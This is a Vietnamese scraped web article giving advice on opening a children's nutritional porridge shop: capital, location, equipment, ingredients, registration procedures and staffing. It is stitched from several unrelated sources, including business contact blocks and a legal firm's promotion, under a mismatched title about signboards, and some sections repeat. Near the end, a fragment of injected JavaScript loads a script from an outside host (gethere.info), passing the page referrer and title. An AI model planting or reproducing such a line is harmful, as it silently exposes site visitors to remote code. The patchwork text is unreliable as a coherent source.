Cập nhật nội dung chi tiết về Khách Khéo Ầm Ầm Vào Cửa Tiệm Của Bạn Nhờ Sự Lôi Cuốn Trên Tấm Biển Quảng Cáo Cháo Dinh Dưỡng mới nhất trên website Welovelevis.com. Hy vọng thông tin trong bài viết sẽ đáp ứng được nhu cầu ngoài mong đợi của bạn, chúng tôi sẽ làm việc thường xuyên để cập nhật nội dung mới nhằm giúp bạn nhận được thông tin nhanh chóng và chính xác nhất.
Mở cửa hàng bán cháo dinh dưỡng cần chuẩn bị gì
Tìm hiểu cách nấu cháo dinh dưỡng: Để thu hút khách và có nồi cháo dinh dưỡng thơm ngon nhất, mỗi cửa tiệm cháo dinh dưỡng phải có bí quyết nấu cháo dinh dưỡng thơm ngon riêng của mình.
Chuẩn bị vốn: Thực tế là vốn mở 1 quán cháo dinh dưỡng không cần quá lớn, từ 50 – 70 triệu đồng là bạn đã có thể dựng được một cửa hàng tương đối rồi, trong đó đã bao gồm cả chi phí thuê mặt bằng, trang thiết bị, thuê nhân viên và mua nguyên vật liệu.
Địa điểm, mặt bằng: Bạn nên khảo sát xung quanh xem có bao nhiêu cửa hàng cháo dinh dưỡng, mật độ và phương thức kinh doanh của họ ra sao để lựa chọn được địa điểm phù hợp với kế hoạch kinh doanh của mình.
Mua trang thiết bị cho quán cháo: Bạn cần tìm mua đầy đủ các dụng cụ trong nhà bếp, các dụng cụ nhà bếp như nồi, xoong, chảo, bát, đũa, thìa… phải luôn trong tình trạng sạch bong.Các máy xay công suất lớn sau mỗi lần sử dụng nên được tráng rửa kĩ bằng nước nóng. Khay đựng thức ăn cần được lau chùi thường xuyên.
Giá bán hợp lý: Khi kinh doanh cháo dinh dưỡng, bạn cần cân nhắc đưa ragiá cả hợp lý dựa trên các chi phí khác. Một bát cháo dinh dưỡng chỉ nên bán với giá phải chăng. Để đưa ra mức giá hợp lý nhất, bạn nên tham khảo các cửa hàng bán cháo cùng loại để tránh việc đề giá cao.
Yếu tố quan trọng để có bảng hiệu cháo dinh dưỡng đẹp
CÔNG TY QUẢNG CÁO VINA BRAND
– Đ/C: 111/10 Đường số 1, P. Bình Hưng Hòa A, Q. Bình Tân, Hồ Chí Minh, Việt Nam
– MST :0309138437
– HOTLINE: Miền nam 028.35 36 7777 / 0982197777
– Email: info@vinabrand.com.vn
– SĐT Miền Trung: 0783827777
– SĐT Miền bắc : 024.3991 7777 / 0859917777
– Đ/C Hà Nội: 40 Ngõ 140 Đông Thiên, Hoàng Mai, Hà Nội
– Email: info@vinabrand.com.vn
– Website: https://vinaad.vn
Chúng tôi rất hân hạnh được phục vụ Quý khách!
6 Kinh Nghiệm Nấu Cháo Dinh Dưỡng Để Bán Đông Khách · Kinh Doanh Cháo Dinh Dưỡng
Kinh doanh cháo dinh dưỡng trong vài năm trở lại đây là một xu hướng dễ thành công và lợi nhuận cao. Tuy nhiên muốn đạt được mốc doanh thu như mình mong muốn bạn hãy dành thời gian tìm hiểu về kinh nghiệm để kinh doanh mặt hàng này.
1. Chuẩn bị nguồn vốn
Như vô vàn bài chia sẻ kinh nghiệm mở cửa hàng khác, điều đầu tiên mà chúng tôi muốn nhắc bạn là hãy chuẩn bị nguồn vốn phù hợp, quá nhiều cũng tốt thôi, nhưng vừa đủ vẫn là cách làm khôn ngoan nhất. Vậy thì để mở cửa hàng cháo dinh dưỡng cần bao nhiêu vốn là đủ?
Thực tế là không cần quá lớn đâu, 50 đến 70 triệu đồng đã có thể dựng được một cửa hàng tương đối rồi, trong đó đã bao gồm cả chi phí thuê mặt bằng, trang thiết bị, thuê nhân viên và mua nguyên vật liệu. Vì đa phần khách hàng khi đến mua cháo chủ yếu là mang về nên mặc dù là cửa hàng đồ ăn nhưng diện tích chỉ cần 10 đến 15 mét vuông là đủ. Các thiết bị trong quán bạn có thể mua lại đồ cũ, chỉ cần chú ý một chút là sẽ chọn được món ngon mà giá vẫn hời.
2. Chọn địa điểm đặt cửa hàng
Vì bạn bán cháo dinh dưỡng trẻ em nên cần phải khảo sát thị trường thật kĩ lưỡng để tìm được địa điểm đặt cửa hàng phù hợp. Bạn có thể đến các trường mầm non gần đó tham khảo số lượng các bé trong độ tuổi ăn cháo, đồng thời tiếp cận để điều tra nhu cầu của các bậc phụ huynh xem họ có hay mua cháo dinh dưỡng cho con hay không. Bên cạnh đó hãy tìm hiểu xung quanh có bao nhiêu cửa hàng cháo dinh dưỡng, mật độ và phương thức kinh doanh của họ ra sao để lựa chọn được địa điểm phù hợp với kế hoạch kinh doanh của bạn.
Để kinh doanh thuận lợi bạn nên đặt cửa hàng tại các khu dân cư, gần trường mầm non hoặc cấp một, nếu có thể thì thuê gần mặt đường, còn nếu không hãy chú ý nơi có lưu lượng người qua lại nhiều.
Cơ sở để đánh giá thị trường bạn có thể nhìn nhận xung quanh khu vực như có các trường mầm non, khu nhà trọ gia đình công nhân và xung quanh khu vực đó có nhiều quán cháo dinh dưỡng hay không? Để kỹ lưỡng hơn bạn cũng có thể thực hiện một cuộc khảo sát để nắm bắt số.
Bước đầu tiên bạn cầm làm để mở một cửa hàng cháo dinh dưỡng là khảo sát khu vực nơi bạn định thuê địa điểm. Hãy dành ra một tuần để tìm hiểu số lượng trẻ em trong độ tuổi ăn cháo? Mức thu nhập của người dân ở khu vực đó cao hay thấp để có thể điều chỉnh giá bán phù hợp? Khu vực đó đã có cửa hàng cháo dinh dưỡng nào chưa? Bạn hãy khảo sát thị trường bằng những cách sau:
– Đến các trường mầm non trong khu vực để nắm được tương đối số lượng trẻ em.
– Tiếp cận các bậc phụ huynh khi họ đến đón con để hỏi về việc họ có thường xuyên cho con ăn cháo dinh dưỡng hay không? Nếu có thì họ hay mua ở đâu? Họ quan tâm điều gì nhất?…
– Chịu khó quan sát, tìm hiểu để có thể thuê được một cửa hàng thuận lợi.
3. Trang thiết bị cho cửa hàng
Đối với cửa hàng thực phẩm nói chung và cửa hàng bán cháo dinh dướng nói riêng thì những yêu cầu về vệ sinh an toàn là rất cao, vì vậy bạn cần lắp đặt những trang thiết bị đảm bảo sạch sẽ, hiện đại. Các dụng cụ nhà bếp như nồi, xoong, chảo, bát, đũa, thìa,…phải luôn trong tình trạng sạch bong, không có váng, cặn hay nhiều nhọ.
Các máy xay công suất lớn sau mỗi lần sử dụng nên được tráng rửa kĩ bằng nước nóng. Khay đựng thức ăn cần được lau chùi thường xuyên bằng nước rửa, tránh tình trạng bóng nhẫy mỡ hoặc lẫn vào nhau.
Muỗng, đũa dùng để lấy thức ăn nên đặt riêng cho mỗi khay. Đặc biệt hãy sắm một tủ bảo quản loại lớn có nhiều ngăn để trữ đồ, bạn có thể mua cũ nếu không đủ điều kiện.
Trước khi trang trí bạn nên chọn cho cửa hàng một cái tên, đồng thời đưa ra phương châm bán hàng. Sau đó thuê thợ thiết kế biển hiệu thật gần gũi, dễ thương, bắt mắt.
Một số lưu ý về việc trang trí cửa hàng
– Biển hiệu, bảng thực đơn…nên đồng nhất màu sắc, kèm theo những hình ảnh gần gũi với trẻ em.
– Đóng khung Giấy chứng nhận an toàn thực phẩm của Bộ Y tế và dán ở vị trí quan trọng, nơi khách hàng dễ dàng nhìn thấy.
– Dán thêm tranh ảnh có nhiều màu sắc để gây sự chú ý và tạo sự thích thú với các em bé.
– Nếu cửa hàng cháo của bạn rộng rãi, có chỗ kê bàn ghế cho khách ăn tại chỗ thì lưu ý chọn những loại dễ lau dọn. Cách bố trí phải thoáng đãng, có quạt mát mẻ.
– Bảng thực đơn cháo của cửa hàng nên treo ở chỗ khách hàng dễ nhìn nhất, thuận tiện cho việc họ chọn lựa.
4. Lựa chọn nguyên vật liệu nấu
Người ta tìm đến cửa hàng cháo dinh dưỡng của bạn một phần là vì không có thời gian nấu nướng nhưng phần lớn vì tin tưởng vào chất lượng những hộp cháo luôn đầy đủ chất, không sử dụng nguyên liệu độc hại.
Chính vì vậy trong bước chọn nguyên liệu bạn cần phải thật kĩ lưỡng, đối với rau củ quả bạn có thể mua tận vườn hoặc tới những cửa hàng rau sạch, mặc dù giá có nhỉnh hơn chút ít nhưng vẫn đảm bảo an toàn, cháo nấu ra cũng ngon hơn.
Còn riêng với gạo, để cháo dẻo và thơm thì đừng tiết kiệm mà mua gạo rẻ, gạo loại hai, cứ mua hàng tốt nhất, như vậy sẽ đảm bảo hương vị của cháo hơn.
Bạn cần lưu ý đến việc sử dụng nguyên liệu nấu cháo là nguồn hàng sạch, rau củ tươi ngon, sử dụng loại gạo nấu cháo sánh mịn, dẻo và thơm.Các nguyên liệu từ động vật như thịt, cá, tôm không nên sử dụng hàng đông lạnh và mặc dù có tủ để bảo quản thì cũng chỉ sử dụng trong ngày.
Các nguyên liệu như thịt, tim lợn,…đừng mua hàng đông lạnh, hãy ra chợ đầu mối vào phiên buổi sáng để có hàng tươi ngon, giá lại rẻ. Một chú ý là những nguyên liệu này đừng nên để quá lâu mặc dù có tủ bảo quản, chỉ tối đa một ngày thôi.
5. Học hỏi cách nấu cháo kinh doanh
Điều cuối cùng và cũng quan trọng nhất, đó là cách nấu cháo dinh dưỡng kinh doanh như thế nào. Nếu bạn muốn cửa hàng của mình có thể thu hút và giữ khách thì cháo phải có điểm đặc biệt riêng về mùi vị và chất lượng, mà để được như vậy thì bạn phải luyện tập, thử nghiệm rất nhiều lần mới tìm ra công thức, bí quyết riêng của mình.
Hiện nay trên mạng cũng hướng dẫn nhiều cách nấu cháo dinh dưỡng để bán, thông thường sẽ sử dụng các nguyên liệu như thịt gà, cá, lươn, cóc,… kết hợp cùng rau củ.
Cách nấu cháo dinh dưỡng kinh doanh cũng quan trọng như khi bạn nấu ăn cho gia đình vậy, quan trọng nhất là bạn phải cân đối được các thành phần để chất dinh dưỡng trong cháo đạt chuẩn, như vậy mới tốt cho bé.
Để biết như thế nào là đúng, ngoài tham khảo trên mạng, trong sách bạn nên hỏi trực tiếp các bà mẹ xung quanh mình, xem họ hay cho con ăn những gì và nấu như thế nào, vì họ sẽ là người hiểu rõ nhất cách tăng cường dinh dưỡng cho con mình.
6. Bí quyết nấu cháo dinh dưỡng
Một lưu ý đặc biệt quan trọng giúp bạn kinh doanh cháo dinh dưỡng thành công đó là bí quyết từ công thức nấu cháo. Bạn cần tạo nên điểm đặc biệt từ mùi vị và chất lượng của sản phẩm.
Sự pha trộn tỉ lệ các nguyên vật liệu cho đến cách nấu ra loại cháo sánh mịn đều có những công thức mà bạn không chỉ học qua các lý thuyết mà còn trải qua việc thử nghiệm nhiều lần.
Trên hết bạn cần đặt cái tâm của mình vào sản phẩm, nấu cháo dinh dưỡng để kinh doanh cũng giống như khi bạn thực hiện một món ăn nào đó để phục vụ gia đình,người thân.
NHỮNG LƯU Ý ĐẶC BIỆT VỀ CHÁO DINH DƯỠNG
– Đặt vấn đề vệ sinh an toàn thực phẩm lên hàng đầu. Nguyên liệu nấu cháo phải ngon, đảm bảo chất lượng; cách chế biến phù hợp. Đồ dùng sạch sẽ, từ hộp đựng cháo cũng phải đúng tiêu chuẩn.
– Muốn cháo dẻo, thơm, quánh bạn phải chọn được gạo ngon. Rau của quả bạn nên mua ở các cửa hàng thực phẩm sạch. Giá có cao một chút nhưng nếu ăn ngon miệng, sạch sẽ, khách sẽ quay lại đông hơn.
– Mỗi khay thức ăn nên có muỗng riêng, máy xay cầm tay, đũa cả nấu cháo cũng phải đặt vào khay sạch sẽ.
– Quản lý doanh thu bằng số lượng hộp cháo sẽ không chính xác. Bạn nên lắp camera để quan sát tốt hơn.
– Nên kết hợp với xe ôm, người vận chuyển để mang cháo đến tận nhà khi khách yêu cầu.
– Bạn có thể mở cửa hàng tại khu ẩm thực của các trung tâm thương mại lớn. Vì nhu cầu mua cháo cho con khi đưa bé đi chơi là rất lớn.
– Nếu bạn chưa tự tin về tay nghề nấu cháo của mình nên tìm đọc các sách về dinh dưỡng, đi học lớp nấu cháo và cách tốt nhất là xin làm nhân viên của một cửa hàng cháo dinh dưỡng để học hỏi kinh nghiệm.
Thông tin liên hệ:
Địa chỉ: 162 Đường số 30, P. Bình Trị Đông B, Q. Bình Tân, TPHCM
Website: http://kinhdoanhchaodinhduong.com
Điện thoại: 1900 636743
Email: cskh.vietsoup@gmail.com
Mở Cửa Hàng Cháo Dinh Dưỡng Thành Công 100% Chi Trong 2 Bước!
I/ Quy trình mở cửa hành cháo dinh dưỡng – Thủ tục đăng ký kinh doanh
Để mở cửa hàng cháo dinh dưỡng cho bé thì bạn cần tiến hành đăng ký kinh doanh theo quy định của pháp luật. Trong trường hợp này, khi mở cửa hàng cháo dinh dưỡng bạn có thể đăng ký hộ kinh doanh hộ cá thể Bởi hình thức kinh doanh này khá đơn giản, thủ tục lại thực hiện.
Bước 1: Soạn thảo hồ sơ đăng ký kinh doanh cửa hàng cháo dinh dưỡng
– Bản sao chứng minh thư nhân dân hoặc hộ chiếu của người đăng ký kinh doanh, chủ cửa hàng cháo dinh dưỡng, chủ hộ kinh doanh.
– Bản hợp đồng thuê cửa hàng cháo dinh dưỡng (nếu có ) hoặc giấy chứng nhận quyền sở hữu, sử dụng đất hợp pháp.
– Giấy đề nghị được cấp giấy phép đăng ký kinh doanh, mở cửa hàng cháo dinh dưỡng, đăng ký hộ kinh doanh cá thể. Nội dung trình bày rõ:
+ Thông tin chủ cửa hàng: Bạn cần trình bày rõ các thông tin về chủ hộ kinh doanh, chủ cửa hàng như tên, địa chỉ cư trú, số và ngày cấp chứng minh nhân dân kèm chữ ký xác minh của chủ hộ kinh doanh.
+ Tên cửa hàng: Cửa hàng cháo dinh dưỡng khi đăng ký kinh doanh phải có tên, tên cửa hàng cháo dinh dưỡng phải đủ cấu trúc gồm cả loại hình lẫn tên riêng. Tên riêng của cửa hàng cháo dinh dưỡng không được giống với cửa hàng cháo dinh dưỡng đã đăng ký kinh doanh trước đó trong phạm vi cấp huyện. Không được sử dụng những ký hiệu, từ ngữ thiếu văn hóa, trái thuần phong mỹ tục trong tên cửa hàng cháo dinh dưỡng. Cấm dùng từ doanh nghiệp hay công ty làm tên công ty khi đăng ký hộ kinh doanh cá thể.
+ Địa chỉ cửa hàng: Cần ghi rõ địa chỉ cửa hàng ở đâu, địa chỉ phải cụ thể, chính xác, không được ghi địa chỉ giả trong giấy đăng ký kinh doanh.
+ Ngành nghề kinh doanh: Khi mở cửa hàng cháo dinh dưỡng, bạn sẽ cần tiến hành đăng ký ngành nghề kinh doanh. Ngành nghề đăng ký phải phù hợp với lĩnh vực cửa hàng cháo dinh dưỡng kinh doanh, như vậy mới được cấp giấy phép. Bạn có thể tra cứu mã ngành nghề trước khi đăng ký kinh doanh để biết mình phải đăng ký kinh doanh ngành nghề như thế nào khi kinh doanh.
+ Số vốn kinh doanh: Ghi rõ số vốn mà bạn chuẩn bị để mở quầy bán cháo dinh dưỡng.
+ Số lao động (nếu có): Nếu cửa hàng có thuê nhân viên thì cần ghi rõ số lượng và thông tin nhân viên được thuê.
Bước 2: Nộp hồ sơ và chờ lấy giấy phép
– Bạn mang hồ sơ đăng ký kinh doanh nộp lên Phòng kinh tế trực thuộc UBND cấp huyện/ quận nơi đặt địa chỉ cửa hàng cháo dinh dưỡng.
– Nếu hồ sơ đầy đủ và hợp lệ, cửa hàng cháo dinh dưỡng của bạn sẽ được cấp giấy phép kinh doanh sau 5 ngày làm việc.
II/ Mở cửa hàng cháo dinh dưỡng cần những gì?
Chuẩn bị vốn để kinh doanh:
– Vốn là một vấn đề rất quan trọng khi bạn muốn mở cửa hàng. Do đó, bạn cần chuẩn bị một mức vốn cụ thể. Tuy nhiên, trên thực tế vấn đề mở cửa hàng cháo dinh dưỡng cần bao nhiêu vốn còn tùy thuộc vào nhiều yếu tố khác nhau. Như quy mô cửa hàng cháo dinh dưỡng, điều kiện sẵn có và khả năng tài chính cửa từng người. Do đó, rất khó để xác định một con số chính xác cho bạn.
– Bạn cần lên kế hoạch kinh doanh cụ thể khi mở cửa hàng bán cháo dinh dưỡng. Đầu tiên là phải xác định mô hình cửa hàng cháo dinh dưỡng cho bé sẽ được xây dựng thế nào? Cách nấu cháo dinh dưỡng để kinh doanh ra sao?
– Tiếp theo, bạn có thể phát triển quy mô kinh doanh bằng việc bán cháo dinh dưỡng online qua mạng xã hội để tăng doanh thu cửa hàng
– Vấn đề tiếp theo bạn cần lưu ý đó chính là thuê cửa hàng cháo dinh dưỡng kinh doanh. Vị trí cửa hàng cháo dinh dưỡng sẽ ảnh hưởng rất lớn đến hiệu quả kinh doanh. Bởi lẽ một vị trí gần khu chung cư, khu tập thể hay vị trí trung tâm, đông người qua lại hay mở mặt tiền sẽ dễ hút khách hơn rất nhiều so với vị trí trong hẻm nhỏ. Do đó, nếu quyết định thuê mặt bằng làm cửa hàng cháo dinh dưỡng, bạn hãy chọn một ví trí phù hợp.
III/ Một số vấn đề cần lưu ý khi kinh doanh cửa hàng cháo dinh dưỡng
Khi đăng ký kinh doanh cửa hàng cháo dinh dưỡng, bạn cần lưu ý vấn đề sau:
Bạn chỉ được mở 1 cửa hàng:
– Bạn cần lưu ý về số lượng cửa hàng khi đăng ký hộ kinh doanh. Bởi lẽ, bạn chỉ được mở duy nhất 1 cửa hàng cháo dinh dưỡng kinh doanh trong phạm vi cả nước khi đăng ký hộ kinh doanh cá thể. Trường hợp bạn muốn mở cửa hàng cháo dinh dưỡng thứ 2 hay chuỗi cửa hàng cháo dinh dưỡng thì phải tiến hành thành lập công ty theo đúng quy định của Luật doanh nghiệp.
Bạn cần xin giấy chứng nhận đủ điều kiện vệ sinh an toàn thực phẩm
Trước khi chính thức đi vào kinh doanh, bạn cần tiến hành xin giấy phép, giấy chứng nhận đủ điều kiện vệ sinh an toàn thực phẩm từ Cục An toàn thực phẩm. Hồ sơ gồm:
– Giấy đề nghị được cấp giấy chứng nhận đủ điều kiện vệ sinh an toàn thực phẩm
– Giấy chứng nhận đăng ký kinh doanh (bản sao).
– Bản nội dung trình bày về trang thiết bị, cơ sở vật chất của cửa hàng, có xác nhận đảm bảo vệ sinh, an toàn thực phẩm.
– Bằng cấp hay giấy chứng nhận người sản xuất hay chủ cơ sở đã được tập huấn về kiến thức an toàn thực phẩm.
– Giấy khám sức khỏe của người trực tiếp chế biến thức ăn, nước uống của cửa hàng.
Cửa hàng cháo dinh dưỡng sau khi đi vào hoạt động kinh doanh sẽ phải đóng đầy đủ những loại thuế sau:
– Thuế giá trị gia tăng;
– Thuế thu nhập cá nhân
– Thuế môn bài
IV/ Đăng ký tư vấn mở cửa hàng cháo dinh dưỡng tại Nam Việt Luật
Nếu bạn muốn được tư vấn mở cửa hàng cháo chi tiết hơn thì có liên hệ đến Nam Việt Luật ngay để được hỗ trợ.
– Hơn nữa, Nam Việt Luật còn thay khách hàng soạn thảo, nộp hồ sơ và lấy giấy phép trả cho khách hàng nếu được ủy quyền, trong thời gian nhanh nhất có thể. Chia sẻ cho khách hàng kinh nghiệm mở cửa hàng cháo dinh dưỡng, kinh nghiệm kinh doanh hiệu quả để đạt lợi nhuận cao.
Nếu còn thắc mắc nào cần tư vấn về quy trình, thủ tục mở cửa hàng cháo dinh dưỡng vui lòng liên hệ đến Nam Việt Luật để được hỗ trợ, chúng tôi luôn sẵn sàng hỗ trợ bạn tận tình nhất!
Lập Kế Hoạch Kinh Doanh Quán Cháo Dinh Dưỡng
Chị Định Thị Mây, chủ cửa hàng cháo trong ngõ 107, Lĩnh Nam, Hoàng Mai, Hà Nội cho biết: “Tôi mở cửa hàng cháo này với số vốn ban đầu là 25 triệu. Thuê trong ngõ nhưng rất đông khách, mỗi tháng chỉ mất 2 triệu tiền thuê cửa hàng. Trả trước 6 tháng tiền thuê là 12 triệu. 7 triệu tôi sắm sửa đồ đạc, dụng cụ. Còn lại tôi dùng để mua nguyên vật liệu, trả tiền điện nước”.
Nếu bạn mở cửa hàng cháo ở gần khu chung cư, bệnh viện hoặc nơi người dân có thu nhập cao thì mức đầu tư cho một cửa hàng cháo có thể lên đến 50 đến 70 triệu. Yêu cầu của khách hàng cao hơn kéo theo việc bạn phải đầu tư nhiều hơn, phí thuê cửa hàng cao hơn. Chú Cao Đình Long, chủ cửa hàng cháo ở phố Nguyễn An Ninh chia sẻ: “Tôi đầu tư 50 triệu vốn ban đầu, chỉ sau 3 tháng miệt mài, chăm chỉ tôi đã thu đủ vốn. Tôi chọn thuê cửa hàng ở gần trường mầm non và chợ nên tiền thuê cửa hàng là 4 triệu/tháng. Đóng tiền nhà 6 tháng 1 lần tổng 24 triệu. Tôi thuê thêm một nhân viên mỗi tháng mất 3 triệu. Tiền mua sắm đồ đạc ban đầu hết 10 triệu. Còn lại dùng để mua nguyên liệu”.
* Nếu số vốn có hạn, bạn có thể lên mạng, nhờ bạn bè mua đồ thanh lý cho cửa hàng cháo. Việc này sẽ giúp bạn tiết kiệm được một số tiền lớn.
* Với số ban đầu ít ỏi cũng nên cân nhắc việc thuê nhân viên bán hàng. Hãy chịu khó làm việc thật tốt để thu hút khách hàng, sau khi cửa hàng mở rộng hãy tính đến chuyện thuê nhân viên. * Nên dự trữ một khoản tiền để mua nguyên vật liệu, trả chi phí điện nước, gas
* Cửa hàng cháo nên mở ở khu vực có đông trẻ em, khu tập thể, chung cư, chợ, trường mầm non, bệnh viện.
* Diện tích hàng cháo chỉ cần từ 10 đến 15m2 vì nó không mất diện tích kê bàn ăn cho khách như những cửa hàng ăn khác.
* Nên ưu tiên những địa điểm giao thông thuận lợi, có chỗ để xe cho khách.
Đồ dùng cho cửa hàng cháo dinh dưỡng không quá nhiều, nhưng phải đảm bảo sạch sẽ, an toàn. Bạn cần chuẩn bị những đồ sau đây:
* 2 bếp ga loại bếp đôi. Một chiếc dùng nấu cháo bán cho khách, một chiếc để ninh cháo trắng.
* 2 xoong nhỏ, 3 xoong to. Xoong to dùng để ninh cháo trắng, xoong nhỏ dùng nấu cháo để bán hàng.
* 2 máy xay. Một máy xay to dùng để xay thức ăn. Loại cầm tay dùng xay nhuyễn cháo khi khách yêu cầu.
* Một tủ lạnh bảo quản thức ăn. Bạn nên chọn tủ chuyên dùng cho nhà hàng, có nhiều ngăn.
* 20 khay Inox. 10 loại to, 10 loại nhỏ để đựng đồ ăn riêng biệt trong tủ lạnh. Loại to dùng đựng rau củ quả xay. Loại nhỏ đựng các loại thịt, cá, phô mai…
* 25 chiếc muôi. 20 chiếc nhỏ và 5 chiếc loại to.
* Đũa cả 5 đôi loại to.
* Một tủ nhôm, có vách ngăn kính làm quầy bán hàng
* Một bình nước sạch
Một số lưu ý về việc trang trí cửa hàng:
* Biển hiệu, biển 3D, bảng thực đơn…nên đồng nhất màu sắc, kèm theo những hình ảnh gần gũi với trẻ em.
* Đóng khung Giấy chứng nhận an toàn thực phẩm của Bộ Y tế và dán ở vị trí quan trọng, nơi khách hàng dễ dàng nhìn thấy.
* Dán thêm tranh ảnh có nhiều màu sắc để gây sự chú ý và tạo sự thích thú với các em bé.
* Nếu cửa hàng cháo của bạn rộng rãi, có chỗ kê bàn ghế cho khách ăn tại chỗ thì lưu ý chọn những loại dễ lau dọn. Cách bố trí phải thoáng đãng, có quạt mát mẻ.
* Bảng thực đơn cháo của cửa hàng nên treo ở chỗ khách hàng dễ nhìn nhất, thuận tiện cho việc họ chọn lựa.
Tuyển nhân viên
Anh Cường, chủ chuỗi cửa hàng cháo dinh dưỡng Tây Thi chia sẻ: “Yếu tố đầu tiên khi tôi tuyển chọn nhân viên là cẩn thận, sạch sẽ”. Đối tượng khách hàng cửa hàng cháo chủ yếu là trẻ em và người già, nên vấn đề vệ sinh an toàn thực phẩm rất quan trọng. Do vậy một nhân viên bán hàng sạch sẽ, cẩn thận là rất quan trọng.
Ngoài ra, nếu bạn bận rộn quản lý điều hành một chuỗi cửa hàng, việc giao phó toàn bộ cho nhân viên bán hàng là điều phải cân nhắc kỹ càng. Lúc này tính trung thực được đặt lên hàng thứ hai. Nên ưu tiên nhân viên là người thân quen. Nếu bạn chưa thật sự tin tưởng thì nên lắp camera để quản lý.
Tuyển nhân viên bạn cần lưu ý:
* Nhân viên bán hàng phải dậy từ 4 giờ sáng để ninh cháo và chuẩn bị thức ăn và kết thúc ngày làm việc lúc 8 giờ tối. Do vậy bạn cần tìm người chăm chỉ, nhiệt tình.
* Nên cho thử việc 1 – 2 tháng để kiểm tra tính trung thực.
* Nhân viên cần am hiểu về đồ ăn, cách kết hợp các loại thực phẩm để tư vấn cho khách. Chị Nguyễn Thị Hằng, khách hàng thường xuyên mua cháo dinh dưỡng cho biết: “Có lần tôi mua cháo thịt bò cho con và yêu cầu nhân viên nấu với rau ngót. Ngay lập tức bạn ấy đã tư vấn cho tôi rằng thịt bò nấu với rau ngót sẽ rất ngang. Rau ngót nên nấu với thịt lợn, thịt bò thì nên nấu với bí đỏ hoặc rau cải”.
Thế mới biết việc tuyển được một nhân viên chăm chỉ, trung thực, đặc biệt là am hiểu về cách kết hợp các loại thực phẩm, tư vấn nhiệt tình cho khách vô cùng quan trọng. Nó quyết định rất lớn đến doanh số cửa hàng của bạn.
Những lưu ý đặc biệt cháo dinh dưỡng
* Đặt vấn đề vệ sinh an toàn thực phẩm lên hàng đầu. Nguyên liệu nấu cháo phải ngon, đảm bảo chất lượng; cách chế biến phù hợp. Đồ dùng sạch sẽ, từ hộp đựng cháo cũng phải đúng tiêu chuẩn.
* Muốn cháo dẻo, thơm, quánh bạn phải chọn được gạo ngon. Rau của quả bạn nên mua ở các cửa hàng thực phẩm sạch. Giá có cao một chút nhưng nếu ăn ngon miệng, sạch sẽ, khách sẽ quay lại đông hơn.
* Mỗi khay thức ăn nên có muôi riêng, máy xay cầm tay, đũa cả nấu cháo cũng phải đặt vào khay sạch sẽ.
* Quản lý doanh thu bằng số lượng hộp cháo sẽ không chính xác. Bạn nên lắp camera để quan sát tốt hơn.
* Nên kết hợp với xe ôm, người vận chuyển để mang cháo đến tận nhà khi khách yêu cầu.
* Bạn có thể mở cửa hàng tại khu ẩm thực của các trung tâm thương mại lớn. Vì nhu cầu mua cháo cho con khi đưa bé đi chơi là rất lớn.
* Nếu bạn chưa tự tin về tay nghề nấu cháo của mình nên tìm đọc các sách về dinh dưỡng, đi học lớp nấu cháo và cách tốt nhất là xin làm nhân viên của một cửa hàng cháo dinh dưỡng để học hỏi kinh nghiệm.
Đào Quyên
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + “;
Bạn đang đọc nội dung bài viết Khách Khéo Ầm Ầm Vào Cửa Tiệm Của Bạn Nhờ Sự Lôi Cuốn Trên Tấm Biển Quảng Cáo Cháo Dinh Dưỡng trên website Welovelevis.com. Hy vọng một phần nào đó những thông tin mà chúng tôi đã cung cấp là rất hữu ích với bạn. Nếu nội dung bài viết hay, ý nghĩa bạn hãy chia sẻ với bạn bè của mình và luôn theo dõi, ủng hộ chúng tôi để cập nhật những thông tin mới nhất. Chúc bạn một ngày tốt lành!